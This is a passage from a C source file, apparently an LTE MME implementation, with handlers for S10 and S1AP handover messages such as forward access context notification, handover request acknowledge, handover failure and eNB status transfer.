* As the specification said, we will leave the UE_CONTEXT as it is. Not checking further parameters.
* No timers are started. Only timers are in the source-ENB and the custom new timer in the source MME.
* ********************************************
* The ECM state will not be changed.
*/
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_forward_access_context_notification(
itti_s10_forward_access_context_notification_t* const forward_access_context_notification_pP
)
{
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
uint64_t imsi = 0;
int16_t bearer_id =0;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received S10_FORWARD_ACCESS_CONTEXT_NOTIFICATION from S10. \n");
DevAssert (forward_access_context_notification_pP );
/** Here it checks the local TEID. */
ue_context = mme_ue_context_exists_s10_teid (&mme_app_desc.mme_ue_contexts, forward_access_context_notification_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME, NULL, 0, "0 S10_FORWARD_ACCESS_CONTEXT_NOTIFICATION local S11 teid " TEID_FMT " ", forward_access_context_notification_pP->teid);
/** We cannot send an S10 reject, since we don't have the destination TEID. */
/**
* todo: lionel
* If we ignore the request (for which a transaction exits), and a second request arrives, there is a dev_assert..
* therefore removing the transaction?
*/
/** Not performing an implicit detach. The handover timeout should erase the context (incl. the S10 Tunnel Endpoint, which we don't erase here in the error case). */
OAILOG_ERROR(LOG_MME_APP, "We didn't find this teid in list of UE: %08x\n", forward_access_context_notification_pP->teid);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
mme_app_s10_proc_mme_handover_t * s10_handover_process = mme_app_get_s10_procedure_mme_handover(ue_context);
if(!s10_handover_process){
/** No S10 Handover Process. */
OAILOG_ERROR(LOG_MME_APP, "No handover process for UE " MME_UE_S1AP_ID_FMT ". \n", ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME, NULL, 0, "0 S10_FORWARD_ACCESS_CONTEXT_NOTIFICATION local S10 teid " TEID_FMT " IMSI " IMSI_64_FMT " ",
forward_access_context_notification_pP->teid, ue_context->imsi);
/** Send a S1AP MME Status Transfer Message the target eNodeB. */
message_p = itti_alloc_new_message (TASK_MME_APP, S10_FORWARD_ACCESS_CONTEXT_ACKNOWLEDGE);
DevAssert (message_p != NULL);
itti_s10_forward_access_context_acknowledge_t *s10_mme_forward_access_context_acknowledge_p =
&message_p->ittiMsg.s10_forward_access_context_acknowledge;
s10_mme_forward_access_context_acknowledge_p->teid = s10_handover_process->remote_mme_teid.teid; /**< Set the target TEID. */
s10_mme_forward_access_context_acknowledge_p->local_teid = ue_context->local_mme_teid_s10; /**< Set the local TEID. */
s10_mme_forward_access_context_acknowledge_p->peer_ip = s10_handover_process->remote_mme_teid.ipv4_address; /**< Set the target TEID. */
s10_mme_forward_access_context_acknowledge_p->trxn = forward_access_context_notification_pP->trxn; /**< Set the target TEID. */
/** Check that there is a pending handover process. */
if(ue_context->mm_state != UE_UNREGISTERED){
OAILOG_ERROR(LOG_MME_APP, "UE with enb_ue_s1ap_id: " ENB_UE_S1AP_ID_FMT", mme_ue_s1ap_id. "MME_UE_S1AP_ID_FMT " was REGISTERED when S10 Forward Access Context Notification was received (tester-bug: ignoring).. \n",
s10_handover_process->target_enb_ue_s1ap_id, ue_context->mme_ue_s1ap_id);
}
/** Deal with the error case. */
s10_mme_forward_access_context_acknowledge_p->cause.cause_value = REQUEST_ACCEPTED;
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME, NULL, 0, "MME_APP Sending S10 FORWARD_ACCESS_CONTEXT_ACKNOWLEDGE.");
itti_send_msg_to_task (TASK_S10, INSTANCE_DEFAULT, message_p);
/** Send a S1AP MME Status Transfer Message the target eNodeB. */
// todo: macro/home enb id
mme_app_send_s1ap_mme_status_transfer(ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id, s10_handover_process->target_id.target_id.macro_enb_id.enb_id,
forward_access_context_notification_pP->eutran_container.container_value);
/** Unlink it from the message. */
forward_access_context_notification_pP->eutran_container.container_value = NULL;
/*
* Setting the ECM state to ECM_CONNECTED with Handover Request Acknowledge.
*/
// todo: DevAssert(ue_context->ecm_state == ECM_CONNECTED); /**< Any timeouts here should erase the context, not change the signaling state back to IDLE but leave the context. */
OAILOG_INFO(LOG_MME_APP, "Sending S1AP MME Status transfer to the target eNodeB %d for UE with enb_ue_s1ap_id: " ENB_UE_S1AP_ID_FMT", mme_ue_s1ap_id. "MME_UE_S1AP_ID_FMT ". \n",
s10_handover_process->target_id.target_id.macro_enb_id.enb_id, s10_handover_process->target_enb_ue_s1ap_id, ue_context->mme_ue_s1ap_id);
/** (Tester malfunctions : Handover Notify is received). */
if(s10_handover_process->received_early_ho_notify){
/** Trigger the Ho-Relocation Complete message. */
message_p = itti_alloc_new_message (TASK_MME_APP, S10_FORWARD_RELOCATION_COMPLETE_NOTIFICATION);
DevAssert (message_p != NULL);
itti_s10_forward_relocation_complete_notification_t *forward_relocation_complete_notification_p = &message_p->ittiMsg.s10_forward_relocation_complete_notification;
/** Set the destination TEID. */
forward_relocation_complete_notification_p->teid = s10_handover_process->remote_mme_teid.teid; /**< Target S10-MME TEID. todo: what if multiple? */
/** Set the local TEID. */
forward_relocation_complete_notification_p->local_teid = ue_context->local_mme_teid_s10; /**< Local S10-MME TEID. */
forward_relocation_complete_notification_p->peer_ip = s10_handover_process->remote_mme_teid.ipv4_address; /**< Set the target TEID. */
OAILOG_INFO(LOG_MME_APP, "Sending FW_RELOC_COMPLETE_NOTIF TO %X with remote S10-TEID " TEID_FMT ". \n.",
forward_relocation_complete_notification_p->peer_ip, forward_relocation_complete_notification_p->teid);
// todo: remove this and set at correct position!
mme_ue_context_update_ue_sig_connection_state (&mme_app_desc.mme_ue_contexts, ue_context, ECM_CONNECTED);
/**
* Sending a message to S10. Not changing any context information!
* This message actually implies that the handover is finished. Resetting the flags and statuses here of after Forward Relocation Complete AcknowledgE?! (MBR)
*/
itti_send_msg_to_task (TASK_S10, INSTANCE_DEFAULT, message_p);
} else {
s10_handover_process->mme_status_context_handled = true;
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_forward_access_context_acknowledge(
const itti_s10_forward_access_context_acknowledge_t* const forward_access_context_acknowledge_pP
)
{
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
uint64_t imsi = 0;
int16_t bearer_id =0;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received S10_FORWARD_ACCESS_CONTEXT_ACKNOWLEDGE from S10. \n");
DevAssert (forward_access_context_acknowledge_pP );
/** Here it checks the local TEID. */
ue_context = mme_ue_context_exists_s10_teid (&mme_app_desc.mme_ue_contexts, forward_access_context_acknowledge_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME, NULL, 0, "0 S10_FORWARD_ACCESS_CONTEXT_ACKNOWLEDGE local S11 teid " TEID_FMT " ", forward_access_context_acknowledge_pP->teid);
OAILOG_ERROR (LOG_MME_APP, "We didn't find this teid in list of UE: %08x\n", forward_access_context_acknowledge_pP->teid);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME, NULL, 0, "0 S10_FORWARD_ACCESS_CONTEXT_ACKNOWLEDGE local S11 teid " TEID_FMT " IMSI " IMSI_64_FMT " ",
forward_access_context_acknowledge_pP->teid, ue_context->imsi);
/** Check that there is a handover process. */
mme_app_s10_proc_mme_handover_t * s10_handover_proc = mme_app_get_s10_procedure_mme_handover(ue_context);
if(!s10_handover_proc){
/** Deal with the error case. */
OAILOG_ERROR(LOG_MME_APP, "UE MME context with IMSI " IMSI_64_FMT " and mmeS1apUeId: " MME_UE_S1AP_ID_FMT " is not in UE_REGISTERED state, instead %d, when S10_FORWARD_ACCESS_CONTEXT_ACKNOWLEDGE is received. "
"Ignoring the error and waiting remove the UE contexts triggered by HSS. \n",
ue_context->imsi, ue_context->mme_ue_s1ap_id, ue_context->mm_state);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_handover_request_acknowledge(
itti_s1ap_handover_request_acknowledge_t * const handover_request_acknowledge_pP
)
{
struct ue_context_s *ue_context = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received S1AP_HANDOVER_REQUEST_ACKNOWLEDGE from S1AP for enbUeS1apId " ENB_UE_S1AP_ID_FMT". \n", handover_request_acknowledge_pP->enb_ue_s1ap_id);
/** Just get the S1U-ENB-FTEID. */
ue_context = mme_ue_context_exists_mme_ue_s1ap_id(&mme_app_desc.mme_ue_contexts, handover_request_acknowledge_pP->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_ERROR(LOG_MME_APP, "No MME_APP UE context for the UE with mmeUeS1APId : " MME_UE_S1AP_ID_FMT ". \n", handover_request_acknowledge_pP->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_HANDOVER_FAILURE. No UE existing mmeS1apUeId %d. \n", handover_request_acknowledge_pP->mme_ue_s1ap_id);
/** Ignore the message. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* Set the downlink bearers as pending.
* Will be forwarded to the SAE-GW after the HANDOVER_NOTIFY/S10_FORWARD_RELOCATION_COMPLETE_ACKNOWLEDGE.
* todo: currently only a single bearer will be set.
* Check if there is a handover procedure running.
* Depending on the handover procedure, either send handover command or forward_relocation_response.
* todo: do this via success_notification.
*/
mme_app_s10_proc_mme_handover_t *s10_handover_proc = mme_app_get_s10_procedure_mme_handover(ue_context);
if(!s10_handover_proc){
// todo: how could this happen?
OAILOG_INFO(LOG_MME_APP, "No S10 handover procedure for mmeUeS1APId : " MME_UE_S1AP_ID_FMT " and enbUeS1apId " ENB_UE_S1AP_ID_FMT ". \n",
ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id);
/** Remove the created UE reference. */
ue_context->s1_ue_context_release_cause = S1AP_SYSTEM_FAILURE;
mme_app_itti_ue_context_release(handover_request_acknowledge_pP->mme_ue_s1ap_id, handover_request_acknowledge_pP->enb_ue_s1ap_id, ue_context->s1_ue_context_release_cause, ue_context->e_utran_cgi.cell_identity.enb_id);
/** Ignore the message. Set the UE to idle mode. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
AssertFatal(NULL == s10_handover_proc->source_to_target_eutran_f_container.container_value, "TODO clean pointer");
/*
* Check bearers, which could not be established in the target cell (from the ones, remaining after the CSReq to target SAE-GW).
* We don't actually need this step, but just do it to be sure. We are not using the ebi_list.
*/
memset(&s10_handover_proc->failed_ebi_list, 0, sizeof(ebi_list_t));
mme_app_release_bearers(ue_context->mme_ue_s1ap_id, &handover_request_acknowledge_pP->e_rab_release_list, &s10_handover_proc->failed_ebi_list);
/*
* For both cases, update the S1U eNB FTEIDs and the bearer state.
*/
s10_handover_proc->target_enb_ue_s1ap_id = handover_request_acknowledge_pP->enb_ue_s1ap_id;
mme_app_modify_bearers(ue_context->mme_ue_s1ap_id, &handover_request_acknowledge_pP->bcs_to_be_modified);
// todo: lionel--> checking the type or different success_notif methods?
// s10_handover_proc->success_notif(ue_context, handover_request_acknowledge_pP->target_to_source_eutran_container);
if(s10_handover_proc->proc.type == MME_APP_S10_PROC_TYPE_INTRA_MME_HANDOVER) {
/** Send Handover Command to the source enb without changing any parameters in the MME_APP UE context. */
if(ue_context->mm_state == UE_UNREGISTERED){
/** If the UE is unregistered, discard the message. */
OAILOG_WARNING(LOG_MME_APP, "Discarding intra HO-Request Ack for unregistered UE: " MME_UE_S1AP_ID_FMT " and enbUeS1apId " ENB_UE_S1AP_ID_FMT ". \n", handover_request_acknowledge_pP->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "Intra-MME S10 Handover procedure is ongoing. Sending a Handover Command to the source-ENB with enbId: %d for UE with mmeUeS1APId : " MME_UE_S1AP_ID_FMT " and enbUeS1apId " ENB_UE_S1AP_ID_FMT ". \n",
ue_context->e_utran_cgi.cell_identity.enb_id, handover_request_acknowledge_pP->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id);
/**
* Bearer will be in inactive state till HO-Notify triggers MBR.
* Save the new ENB_UE_S1AP_ID
* Don't update the coll_keys with the new enb_ue_s1ap_id.
*/
bearer_contexts_to_be_created_t bcs_tbf;
memset((void*)&bcs_tbf, 0, sizeof(bcs_tbf));
pdn_context_t * registered_pdn_ctx = NULL;
RB_FOREACH (registered_pdn_ctx, PdnContexts, &ue_context->pdn_contexts) {
DevAssert(registered_pdn_ctx);
mme_app_get_bearer_contexts_to_be_created(registered_pdn_ctx, &bcs_tbf, BEARER_STATE_NULL);
/** The number of bearers will be incremented in the method. S10 should just pick the ebi. */
}
/** Check if there are any bearer contexts to be removed.. add them into the procedure. */
mme_app_send_s1ap_handover_command(handover_request_acknowledge_pP->mme_ue_s1ap_id,
ue_context->enb_ue_s1ap_id,
s10_handover_proc->source_ecgi.cell_identity.enb_id,
&bcs_tbf,
handover_request_acknowledge_pP->target_to_source_eutran_container);
s10_handover_proc->ho_command_sent = true;
/** Unlink the transparent container. */
handover_request_acknowledge_pP->target_to_source_eutran_container = NULL;
/**
* As the specification said, we will leave the UE_CONTEXT as it is. Not checking further parameters.
* No timers are started. Only timers are in the source-ENB.
* ********************************************
* The ECM state will be set to ECM-CONNECTED (the one from the created ue_reference).
* Not waiting for HANDOVER_NOTIFY to set to ECM_CONNECTED. todo: eventually check this with specifications.
*/
OAILOG_FUNC_OUT (LOG_MME_APP);
}else{
DevAssert(ue_context->mm_state == UE_UNREGISTERED); /**< NAS invalidation should have set this to UE_UNREGISTERED. */
/*
* Set the enb_ue_s1ap_id in this case to the UE_Context, too.
* todo: just let it in the s10_handover_procedure.
*/
ue_context->enb_ue_s1ap_id = handover_request_acknowledge_pP->enb_ue_s1ap_id;
/*
* Update the enb_id_s1ap_key and register it.
*/
enb_s1ap_id_key_t enb_s1ap_id_key = INVALID_ENB_UE_S1AP_ID_KEY;
// Todo; do it for home
MME_APP_ENB_S1AP_ID_KEY(enb_s1ap_id_key, s10_handover_proc->target_id.target_id.macro_enb_id.enb_id, handover_request_acknowledge_pP->enb_ue_s1ap_id);
/*
* Update the coll_keys with the new s1ap parameters.
*/
mme_ue_context_update_coll_keys (&mme_app_desc.mme_ue_contexts, ue_context,
enb_s1ap_id_key, /**< New key. */
ue_context->mme_ue_s1ap_id,
ue_context->imsi,
ue_context->mme_teid_s11,
ue_context->local_mme_teid_s10,
&ue_context->guti);
OAILOG_INFO(LOG_MME_APP, "Inter-MME S10 Handover procedure is ongoing. Sending a Forward Relocation Response message to source-MME for ueId: " MME_UE_S1AP_ID_FMT " and enbUeS1apId " ENB_UE_S1AP_ID_FMT ". \n",
handover_request_acknowledge_pP->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id);
teid_t local_teid = 0x0;
do{
local_teid = (teid_t)(rand() % 0xFFFFFFFF);
}while(mme_ue_context_exists_s10_teid(&mme_app_desc.mme_ue_contexts, local_teid) != NULL);
/**
* Update the local_s10_key.
* Leave the enb_ue_s1ap_id_key as it is. enb_ue_s1ap_id_key will be updated with HANDOVER_NOTIFY and then the registration will be updated.
* Not setting the key directly in the ue_context structure. Only over this function!
*/
mme_ue_context_update_coll_keys (&mme_app_desc.mme_ue_contexts, ue_context,
ue_context->enb_s1ap_id_key, /**< Not updated. */
ue_context->mme_ue_s1ap_id,
ue_context->imsi,
ue_context->mme_teid_s11, // mme_teid_s11 is new
local_teid, // set with forward_relocation_response!
&ue_context->guti); /**< No guti exists
/*
* UE is in UE_UNREGISTERED state. Assuming inter-MME S1AP Handover was triggered.
* Sending FW_RELOCATION_RESPONSE.
*/
mme_app_itti_forward_relocation_response(ue_context, s10_handover_proc, handover_request_acknowledge_pP->target_to_source_eutran_container);
/** Unlink the transparent container. */
handover_request_acknowledge_pP->target_to_source_eutran_container = NULL;
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
//------------------------------------------------------------------------------
void
mme_app_handle_handover_failure (
const itti_s1ap_handover_failure_t * const handover_failure_pP
)
{
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
uint64_t imsi = 0;
mme_app_s10_proc_mme_handover_t *s10_handover_proc = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received S1AP_HANDOVER_FAILURE from target eNB for UE_ID " MME_UE_S1AP_ID_FMT ". \n", handover_failure_pP->mme_ue_s1ap_id);
/** Check that the UE does exist (in both S1AP cases). */
ue_context = mme_ue_context_exists_mme_ue_s1ap_id(&mme_app_desc.mme_ue_contexts, handover_failure_pP->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_ERROR(LOG_MME_APP, "An UE MME context does not exist for UE with mmeS1apUeId " MME_UE_S1AP_ID_FMT". Ignoring received handover_failure. \n", handover_failure_pP->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_HANDOVER_FAILURE. No UE existing mmeS1apUeId" MME_UE_S1AP_ID_FMT". Ignoring received handover_failure. \n", handover_failure_pP->mme_ue_s1ap_id);
/** Ignore the message. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check if an handover procedure exists, if not drop the message. */
s10_handover_proc = mme_app_get_s10_procedure_mme_handover(ue_context);
if(!s10_handover_proc){
OAILOG_ERROR(LOG_MME_APP, "No S10 Handover procedure exists for UE with mmeS1apUeId " MME_UE_S1AP_ID_FMT". Ignoring received handover_failure. \n", handover_failure_pP->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_HANDOVER_FAILURE. No S10 Handover procedure exists for UE with mmeS1apUeId " MME_UE_S1AP_ID_FMT". Ignoring received handover_failure. \n", handover_failure_pP->mme_ue_s1ap_id);
/** Ignore the message. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check if the UE is EMM-REGISTERED or not. */
if(ue_context->mm_state == UE_REGISTERED){
/**
* UE is registered, we assume in this case that the source-MME is also attached to the current.
* In this case, we need to re-notify the MME_UE_S1AP_ID<->SCTP association, because it might be removed with the error handling.
*/
notify_s1ap_new_ue_mme_s1ap_id_association (ue_context->sctp_assoc_id_key, ue_context->enb_ue_s1ap_id, ue_context->mme_ue_s1ap_id);
/** We assume a valid enb & sctp id in the UE_Context. */
mme_app_send_s1ap_handover_preparation_failure(ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id, ue_context->sctp_assoc_id_key, S1AP_HANDOVER_FAILED);
/**
* As the specification said, we will leave the UE_CONTEXT as it is. Not checking further parameters.
* No timers are started. Only timers are in the source-ENB.
*/
/*
* Delete the s10 handover procedure.
*/
mme_app_delete_s10_procedure_mme_handover(ue_context);
/** Leave the context as it is. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Set a local TEID. */
if(!ue_context->local_mme_teid_s10){
/** Set the Source MME_S10_FTEID the same as in S11. */
teid_t local_teid = 0x0;
do{
local_teid = (teid_t) (rand() % 0xFFFFFFFF);
}while(mme_ue_context_exists_s10_teid(&mme_app_desc.mme_ue_contexts, local_teid) != NULL);
mme_ue_context_update_coll_keys (&mme_app_desc.mme_ue_contexts, ue_context,
ue_context->enb_s1ap_id_key,
ue_context->mme_ue_s1ap_id,
ue_context->imsi,
ue_context->mme_teid_s11, // mme_teid_s11 is new
local_teid, // set with forward_relocation_request!
&ue_context->guti);
}else{
OAILOG_INFO (LOG_MME_APP, "A S10 Local TEID " TEID_FMT " already exists. Not reallocating for UE: %08x %d(dec)\n",
ue_context->local_mme_teid_s10, ue_context->mme_ue_s1ap_id, ue_context->mme_ue_s1ap_id);
}
/**
* UE is in UE_UNREGISTERED state. Assuming inter-MME S1AP Handover was triggered.
* Sending FW_RELOCATION_RESPONSE with error code and implicit detach.
*/
mme_app_send_s10_forward_relocation_response_err(s10_handover_proc->remote_mme_teid.teid, s10_handover_proc->remote_mme_teid.ipv4_address, s10_handover_proc->forward_relocation_trxn, RELOCATION_FAILURE);
/** Trigger an implicit detach. */
mme_app_delete_s10_procedure_mme_handover(ue_context);
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = ue_context->mme_ue_s1ap_id;
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
/** No timers, etc. is needed. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_s1ap_error_indication(const itti_s1ap_error_indication_t * const s1ap_error_indication_pP ){
struct ue_context_s *ue_context = NULL;
uint64_t imsi = 0;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received S1AP_ERROR_INDICATION from eNB for UE_ID " MME_UE_S1AP_ID_FMT ". \n", s1ap_error_indication_pP->mme_ue_s1ap_id);
/** Don't check the UE conetxt. */
OAILOG_ERROR(LOG_MME_APP, "Sending UE Context release request for UE context with mmeS1apUeId " MME_UE_S1AP_ID_FMT". \n", s1ap_error_indication_pP->mme_ue_s1ap_id);
/** No matter if handover procedure exists or not, perform an UE context release. */
mme_app_itti_ue_context_release(s1ap_error_indication_pP->mme_ue_s1ap_id, s1ap_error_indication_pP->enb_ue_s1ap_id, S1AP_NAS_NORMAL_RELEASE, s1ap_error_indication_pP->enb_id);
/** No timers, etc. is needed. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_enb_status_transfer(
itti_s1ap_status_transfer_t * const s1ap_status_transfer_pP
)
{
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received S1AP_ENB_STATUS_TRANSFER from S1AP. \n");
/** Check that the UE does exist. */
ue_context = mme_ue_context_exists_mme_ue_s1ap_id(&mme_app_desc.mme_ue_contexts, s1ap_status_transfer_pP->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_ERROR(LOG_MME_APP, "An UE MME context does not exist for UE with mmeS1apUeId " MME_UE_S1AP_ID_FMT" Ignoring ENB_STATUS_TRANSFER. \n", s1ap_status_transfer_pP->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_ENB_STATUS_TRANSFER. No UE existing mmeS1apUeId " MME_UE_S1AP_ID_FMT" Ignoring ENB_STATUS_TRANSFER. \n", s1ap_status_transfer_pP->mme_ue_s1ap_id);
/**
* We don't really expect an error at this point. Just ignore the message.
*/
OAILOG_FUNC_OUT (LOG_MME_APP);
}
mme_app_s10_proc_mme_handover_t * s10_handover_proc = mme_app_get_s10_procedure_mme_handover(ue_context);
if(!s10_handover_proc){
OAILOG_ERROR(LOG_MME_APP, "No S10 handover procedure exists for UE with mmeS1apUeId " MME_UE_S1AP_ID_FMT" Ignoring ENB_STATUS_TRANSFER. \n", s1ap_status_transfer_pP->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_ENB_STATUS_TRANSFER. No UE existing mmeS1apUeId " MME_UE_S1AP_ID_FMT" Ignoring ENB_STATUS_TRANSFER. \n", s1ap_status_transfer_pP->mme_ue_s1ap_id);
/**
* We don't really expect an error at this point. Just forward the message to the target enb.
*/
char enbStatusPrefix[] = {0x00, 0x00, 0x00, 0x59, 0x40, 0x0b};
bstring enbStatusPrefixBstr = blk2bstr (enbStatusPrefix, 6);
bconcat(enbStatusPrefixBstr, s1ap_status_transfer_pP->bearerStatusTransferList_buffer);
/** No need to unlink here. */
// todo: macro/home
mme_app_send_s1ap_mme_status_transfer(ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id, ue_context->e_utran_cgi.cell_identity.enb_id, enbStatusPrefixBstr);
/** eNB-Status-Transfer message message will be freed. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
if(s10_handover_proc->proc.type == MME_APP_S10_PROC_TYPE_INTRA_MME_HANDOVER){
/**
* Set the ENB of the pending target-eNB.
* Even if the HANDOVER_NOTIFY messaged is received simultaneously, the pending enb_ue_s1ap_id field should stay.
* We do not check that the target-eNB exists. We did not modify any contexts.
* Concatenate with header (todo: OAI: how to do this properly?)
*/
char enbStatusPrefix[] = {0x00, 0x00, 0x00, 0x59, 0x40, 0x0b};
bstring enbStatusPrefixBstr = blk2bstr (enbStatusPrefix, 6);
bconcat(enbStatusPrefixBstr, s1ap_status_transfer_pP->bearerStatusTransferList_buffer);
/** No need to unlink here. */
// todo: macro/home
mme_app_send_s1ap_mme_status_transfer(ue_context->mme_ue_s1ap_id, s10_handover_proc->target_enb_ue_s1ap_id, s10_handover_proc->target_ecgi.cell_identity.enb_id, enbStatusPrefixBstr);
/** eNB-Status-Transfer message message will be freed. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}else{
/* UE is DEREGISTERED. Assuming that it came from S10 inter-MME handover. Forwarding the eNB status information to the target-MME via Forward Access Context Notification. */
message_p = itti_alloc_new_message (TASK_MME_APP, S10_FORWARD_ACCESS_CONTEXT_NOTIFICATION);
DevAssert (message_p != NULL);
itti_s10_forward_access_context_notification_t *forward_access_context_notification_p = &message_p->ittiMsg.s10_forward_access_context_notification;
memset ((void*)forward_access_context_notification_p, 0, sizeof (itti_s10_forward_access_context_notification_t));
/** Set the target S10 TEID. */
forward_access_context_notification_p->teid = s10_handover_proc->remote_mme_teid.teid; /**< Only a single target-MME TEID can exist at a time. */
forward_access_context_notification_p->local_teid = ue_context->local_mme_teid_s10; /**< Only a single target-MME TEID can exist at a time. */
forward_access_context_notification_p->peer_ip.s_addr = s10_handover_proc->remote_mme_teid.ipv4_address.s_addr;
/** Set the E-UTRAN container. */
forward_access_context_notification_p->eutran_container.container_type = 3;
forward_access_context_notification_p->eutran_container.container_value = s1ap_status_transfer_pP->bearerStatusTransferList_buffer;
/** Unlink. */
s1ap_status_transfer_pP->bearerStatusTransferList_buffer = NULL;
if (forward_access_context_notification_p->eutran_container.container_value == NULL){
OAILOG_ERROR (LOG_MME_APP, " NULL UE transparent container\n" );
OAILOG_FUNC_OUT (LOG_MME_APP);
}
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME, NULL, 0, "MME_APP Sending S10 FORWARD_ACCESS_CONTEXT_NOTIFICATION to TARGET-MME with TEID " TEID_FMT,
forward_access_context_notification_p->teid);
/**
* Sending a message to S10.
* Although eNB-Status message is not mandatory, if it is received, it should be forwarded.
* That's why, we start a timer for the Forward Access Context Acknowledge.
*/
itti_send_msg_to_task (TASK_S10, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
//------------------------------------------------------------------------------
void
mme_app_handle_s1ap_handover_notify(
const itti_s1ap_handover_notify_t * const handover_notify_pP
)
{
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
enb_s1ap_id_key_t enb_s1ap_id_key = INVALID_ENB_UE_S1AP_ID_KEY;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received S1AP_HANDOVER_NOTIFY from S1AP SCTP ASSOC_ID %d. \n", handover_notify_pP->assoc_id);
/** Check that the UE does exist. */
ue_context = mme_ue_context_exists_mme_ue_s1ap_id(&mme_app_desc.mme_ue_contexts, handover_notify_pP->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_ERROR(LOG_MME_APP, "An UE MME context does not exist for UE with mmeS1apUeId " MME_UE_S1AP_ID_FMT". \n", handover_notify_pP->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_HANDOVER_NOTIFY. No UE existing mmeS1apUeId " MME_UE_S1AP_ID_FMT". \n", handover_notify_pP->mme_ue_s1ap_id);
/** Removing the S1ap context directly. */
mme_app_itti_ue_context_release(handover_notify_pP->mme_ue_s1ap_id, handover_notify_pP->enb_ue_s1ap_id, S1AP_SYSTEM_FAILURE, handover_notify_pP->cgi.cell_identity.enb_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/**
* Check that there is an s10 handover process running, if not discard the message.
*/
mme_app_s10_proc_mme_handover_t * s10_handover_proc = mme_app_get_s10_procedure_mme_handover(ue_context);
if(!s10_handover_proc){
OAILOG_ERROR(LOG_MME_APP, "No Handover Procedure is runnning for UE with mmeS1apUeId " MME_UE_S1AP_ID_FMT" in state %d. Discarding the message\n", ue_context->mme_ue_s1ap_id, ue_context->mm_state);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/**
* No need to signal the NAS layer the completion of the handover.
* The ECGI & TAI will also be sent with TAU if its UPLINK_NAS_TRANSPORT.
* Here we just update the MME_APP UE_CONTEXT parameters.
*/
/**
* When Handover Notify is received, we update the eNB associations (SCTP, enb_ue_s1ap_id, enb_id,..). The main eNB is the new ENB now.
* ToDo: If this has an error with 2 eNBs, we need to remove the first eNB first (and send the UE Context Release Command only with MME_UE_S1AP_ID).
* Update the coll-keys.
*/
ue_context->sctp_assoc_id_key = handover_notify_pP->assoc_id;
